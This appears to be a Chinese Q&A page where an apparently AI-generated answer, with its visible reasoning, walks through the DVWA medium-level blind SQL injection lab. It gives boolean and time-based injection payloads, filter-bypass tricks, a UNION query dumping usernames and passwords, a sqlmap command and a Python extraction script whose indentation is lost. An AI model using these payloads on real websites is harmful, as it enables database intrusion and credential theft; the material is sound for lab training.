13、完成DVWA靶场中中级盲注题,获取该网站所使用的mysql版本、数据库名、数据库中所含的表,用户表中的所有用户名和密码
时间: 2025-06-16 21:47:23 浏览: 11
<think>好的,我现在要解决DVWA中级盲注挑战,需要获取MySQL版本、数据库名、表结构以及用户表中的用户名和密码。首先,我得回忆一下盲注的基本知识。盲注分为基于布尔的盲注和基于时间的盲注,这里可能需要结合两种方法,因为中级关卡可能有过滤机制。
首先,确定注入点。假设目标是一个搜索功能,用户输入被处理后用于SQL查询。中级可能会对输入进行一些过滤,比如转义单引号或者删除某些关键字。这时候可能需要用编码或者绕过技巧。例如,使用双写绕过,或者用大小写混合的方式。
接下来,获取MySQL版本。通常可以通过@@version或者version()函数来获取。但是在盲注的情况下,需要逐个字符进行猜测。比如,构造一个布尔条件,判断版本的第一个字符是否是某个值,然后依次类推。例如:' AND SUBSTRING(@@version,1,1)='5'-- ,如果页面返回正常,说明版本第一个字符是5,可能是5.x版本。但需要注意这里的引号是否被转义,可能需要使用不带引号的比较,比如用ASCII值。
然后是数据库名。使用database()函数获取当前数据库名称,同样需要逐个字符提取。例如:' AND SUBSTRING(database(),1,1)='d'-- ,假设数据库名是dvwa,那么第一个字符应该是d。同样要考虑过滤问题,可能需要用ASCII函数转换,避免引号被过滤。
接下来是表名。需要通过information_schema.tables来查询,但中级可能过滤了information_schema,或者某些关键字。可能需要使用注释或者拼接字符串绕过。例如:' AND (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='users'-- ,这里需要确认是否有权限访问information_schema,以及LIMIT的使用是否正确。
然后是列名,比如用户表中的username和password字段。同样通过information_schema.columns查询。例如:' AND (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='user'-- ,逐个字符猜解。
最后是提取用户名和密码。假设密码是哈希值,可能需要用SUBSTRING和ASCII函数逐个字符获取。例如:' AND (SELECT SUBSTRING(password,1,1) FROM users LIMIT 0,1)='a'-- ,这里需要处理哈希的大小写和可能的编码问题。
需要注意的是,中级DVWA可能对某些特殊字符进行了过滤,比如空格被转义成加号,或者注释符被处理。这时候可能需要使用括号或者内联注释绕过。例如,用/**/代替空格,或者使用括号闭合语句。
另外,时间盲注可能更可靠,如果布尔盲注不可行。例如:' AND IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0)-- ,如果页面响应延迟,则说明条件成立。
在实践过程中,可能需要结合工具如sqlmap,但手动注入需要耐心。同时,注意DVWA的中级设置可能对输入进行了转义,比如使用mysql_real_escape_string,这时候需要找到未被过滤的位置或者使用编码绕过,比如十六进制编码表名。
总结步骤:确定注入点,测试过滤机制,选择合适的盲注方法,逐步提取信息。每一步都需要验证是否成功,可能需要多次尝试调整payload。</think>### DVWA中级盲注挑战解决方案
#### 1. 确定注入点与过滤规则
中级关卡通常会对输入进行部分过滤,例如:
- 转义单引号为`\'`
- 过滤`SELECT`、`UNION`等关键字
- 限制特殊字符如空格
**绕过方法**:
- 使用双写绕过:`SELSELECTECT`
- 用`/**/`代替空格
- 通过`ASCII()`函数避免引号检测
#### 2. 获取MySQL版本
使用基于时间的盲注逐步猜解:
```sql
' OR IF(ASCII(SUBSTR(@@version,1,1))=53,SLEEP(5),0)--
```
- `53`是字符`5`的ASCII码,若响应延迟则版本以`5.x`开头
- 逐字符猜解完整版本,例如`5.7.39`
#### 3. 获取数据库名称
通过布尔盲注提取当前数据库名:
```sql
' OR ASCII(SUBSTR(database(),1,1))=100--
```
- `100`是`d`的ASCII码,对应数据库名`dvwa`开头
#### 4. 提取表名(以users表为例)
```sql
' OR (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='u'--
```
- 修改`LIMIT`偏移遍历所有表
- 最终得到表名如`users`、`guestbook`
#### 5. 获取列名(user和password字段)
```sql
' OR (SELECT SUBSTR(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 0,1)='u'--
```
- 逐个字符猜解列名`user`和`password`
#### 6. 提取用户名和密码
使用联合查询或逐字符猜解:
```sql
' UNION SELECT 1,CONCAT(user,':',password) FROM users--
```
若联合查询被过滤,改用布尔盲注:
```sql
' OR (SELECT ASCII(SUBSTR(password,1,1)) FROM users LIMIT 0,1)=52--
```
- `52`对应哈希字符`5`(如MD5哈希开头)
#### 7. 自动化工具辅助
使用sqlmap提高效率(需调整tamper脚本):
```bash
sqlmap -u "http://target.com/vuln.php?id=1" --tamper=space2comment --dbms=mysql --technique=B --current-db
```
### 关键代码示例(Python手工注入)
```python
import requests
url = "http://dvwa.target.com/vulnerabilities/sqli_blind/"
cookie = {"PHPSESSID": "your_cookie"}
payload = "1' AND ASCII(SUBSTRING((SELECT user FROM users LIMIT 0,1),{},1))={}#"
for position in range(1, 20):
for char_code in range(32, 127):
p = payload.format(position, char_code)
r = requests.get(url, params={"id": p}, cookies=cookie)
if "exists" in r.text:
print(chr(char_code), end="")
break
print()
```
该脚本通过布尔响应逐字符提取用户名[^1]。
阅读全文
相关推荐


















